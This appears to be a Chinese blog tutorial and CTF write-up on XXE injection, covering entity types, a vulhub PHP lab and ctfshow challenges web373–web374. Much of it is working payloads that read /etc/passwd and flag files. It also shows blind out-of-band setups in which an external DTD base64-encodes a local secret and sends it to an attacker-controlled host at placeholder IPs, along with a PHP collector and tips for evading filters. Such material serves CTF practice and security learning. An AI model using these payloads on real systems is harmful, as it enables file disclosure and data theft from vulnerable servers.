xxe盲注
簡單描述xxe:
內部聲明實體,格式為
<?xml version="1.0"?>
<!DOCTYPE name[ ? ? ? ?//DTD內部聲明
<!ENTITY errorr0 ? "hello world"> ? ?//DTD實體
]>
<user><username>&errorr0;</username><password>123</password></user>
引用外部實體
<?xml version="1.0"?>
<!DOCTYPE name[ ? ? ? ?//DTD內部聲明
<!ENTITY errorr0 ?SYSTEM "http://127.0.0.1"> ? ?//DTD外部實體
]>?
<user><username>&errorr0;</username><password>123</password></user>
如何區(qū)分,一開始我也看不懂有啥區(qū)別,最后是啥發(fā)現(xiàn)了內部實體就是引用得值是已經(jīng)定義好了,而外部實體的值就是通過某些函數(shù)比如system來獲取,不是提前定義好的。
參數(shù)實體
上面的內部還是外部實體的值,都是再文檔外面調用的,而如果我們想在里面調用,就需要用到參數(shù)實體。
<!ENTITY %?實體名稱?"實體的值">
%實體名稱 ;----- 相當于調用
<!DOCTYPE name[ <!ENTITY % a "hello"> <!ENTITY % b "&a; errorr0"> %b; ]>最后輸出的答案為:hello errorr0?可以看出%b在dtd的里面。?
內部實體+參數(shù)實體混合調用
<?xml version="1.0"?> <!DOCTYPE name[ <!ENTITY % errorr1 "<!ENTITY errorr2 'hello no'>"> %errorr1; ]><user><username>&errorr2;</username><password>123</password></user>先調用參數(shù)實體,然后數(shù)據(jù)中又是一個實體,再在文檔元素中調用&errorr2; 。
預定義實體,實體引入字符
當然除了這些,還有一種方式代替一些符號比如百分號%,參數(shù)實體的百分號%也不能出現(xiàn)在實體值中,這個時候我們可以用Unicode編碼,%=%?也可以寫做16進制 ,%=%=%
外部實體+參數(shù)實體的二重調用?
<?xml version="1.0"?> <!DOCTYPE name[ <!ENTITY % errorr1 SYSTEM "http://127.0.0.1/flag.txt"> %errorr1; %errorr; ]><user><username>&errorr2;</username><password>123</password></user>flag.txt中內容如下:<!ENTITY % errorr "<!ENTITY errorr2 'yes i am a flag'>">盲注xxe
因為上面的都是有回顯的題目都會有print或者echo之類輸出的語句, 但是如果沒有回顯了怎么辦呢?
構造的XML<?xml version="1.0"?> <!DOCTYPE ANY[ <!ENTITY % file SYSTEM "file:///D:/phpStudy/PHPTutorial/WWW/xxe/php_xxe/flag.XML"> //這是需要帶出去的一串數(shù)據(jù) <!ENTITY % remote SYSTEM "http://服務器IP/errorr.txt"> //服務器中放入嵌套數(shù)據(jù) %remote; %all; ]> <root>&send;</root> errorr.txt<!ENTITY % all "<!ENTITY send SYSTEM 'http://服務器IP地址/1.php?file=%file;'>"> 1.php<?php file_put_contents("1.txt", $_GET['file']) ; ?>其實就是通過了參數(shù)實體+外部實體,首先調用%romore獲得errror.txt中的實體,然后調用%all獲得了后面的send最后調用外部實體,調用了1.php中的內容,然后把file里面的數(shù)據(jù)放到了1.txt中,這樣就把數(shù)據(jù)外帶了。
因為DTD外部實體中帶入的 SYSTEM 可以執(zhí)行http:// 、 file:// 、 https:// ,因此不用懷疑,我們還能進行php://偽協(xié)議的利用,比如php://filter中我們可以用base64或者rot13編碼一些文件或者網(wǎng)站的源碼供我們讀取。
XXE過濾ENTITY關鍵字
完全可以用上面的方式把ENITY放到,服務器上的一個文件中然后讀取
復現(xiàn)的環(huán)境:
- PHP 7.0.30
- libxml 2.8.0
- libxml2.9.0以后,默認不解析外部實體,導致XXE漏洞逐漸消亡。為了演示PHP環(huán)境下的XXE漏洞,本例會將libxml2.8.0版本編譯進PHP中。PHP版本并不影響XXE利用。
這里就不細寫知識點了,這個鏈接挺全的。主要通過題目和復現(xiàn)來逐漸理解。
首先復現(xiàn)vulhub上的php_xxe
環(huán)境搭建:找到php_xxe的 那個
?然后直接docker-compose up -d,然后訪問8080端口就可以了。
(ps:一定保證8080的端口是空閑的,這里我的kali以前鼓搗過,8080端口開過apache信道服務,搗鼓不明白 只能重開一臺kali)
目錄下有dom.php、index.php、SimpleXMLElement.php、simplexml_load_string.php其中dom.php、SimpleXMLElement.php、simplexml_load_string.php均可觸發(fā)XXE漏洞。
dom.php: DOMDocument:: loadXML()//從字符串加載XML文檔
<?php $data = file_get_contents('php://input');$dom = new DOMDocument(); $dom->loadXML($data);print_r($dom);?SimpleXMLElement.php:SimpleXMLElement類標識xml文檔中的元素
<?php $data=file_get_contents('php://input'); $xml=new SimpleXMLElent($data);simplexml_load_string.php: simplexml_load_string()//接受格式正確的XML字符串,并將其作為對象返回
<?php $data=file_get_contents('php://input'); $xml=simplexml_load_string($data);echo $xml->name;burp抓包進行修改,加入如下代碼:這是使用的外部實體
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe[ <!ELEMENT test ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <test><name>&xxe;</name> </test>?發(fā)現(xiàn)執(zhí)行成功。
==============
web373
<?php error_reporting(0); libxml_disable_entity_loader(false); //允許加載外部實體 $xmlfile = file_get_contents('php://input');//xml文件來源于數(shù)據(jù)流 if(isset($xmlfile)){$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // 加載xml實體,參數(shù)為替代實體,加載外部子集$creds = simplexml_import_dom($dom);$ctfshow = $creds->ctfshow;//結點嵌套echo $ctfshow; } highlight_file(__FILE__);<?xml version="1.0" encoding="utf-8"?>
? <!DOCTYPE foo[
? <!ELEMENT foo ANY>
? <!ENTITY xxe SYSTEM "file:///flag" >]>
? <creds>
? ? <ctfshow>&xxe;</ctfshow>
? </creds>
這里ctfshow的標簽因為是結點嵌套所以必須存在,??然后&xxe后面的分號一定要有。
web374
<?php error_reporting(0); libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input'); if(isset($xmlfile)){$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); } highlight_file(__FILE__);這里沒有print echo所以無回顯,所以我們需要找個東西來外帶我們要獲取的數(shù)據(jù)。
evil.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/secret"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://x.x.x.x:9999/?p=%file;'>"> <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE roottag [ <!ENTITY % dtd SYSTEM "http://x.x.x.x/evil.txt"> %dtd;%int;%send; ]>需要在服務器上開啟web功能。
過濾http頭、xml這些可以換個編碼繞過
ps感想:
弄這個apache搞了好幾天一直報錯,實在是頂不住了,如果有會的師傅可以滴滴我,感激不盡呀!!!?
總結
- 上一篇: C语言打印杨辉三角的多种方法
- 下一篇: python打九九乘法表上三角下三角_p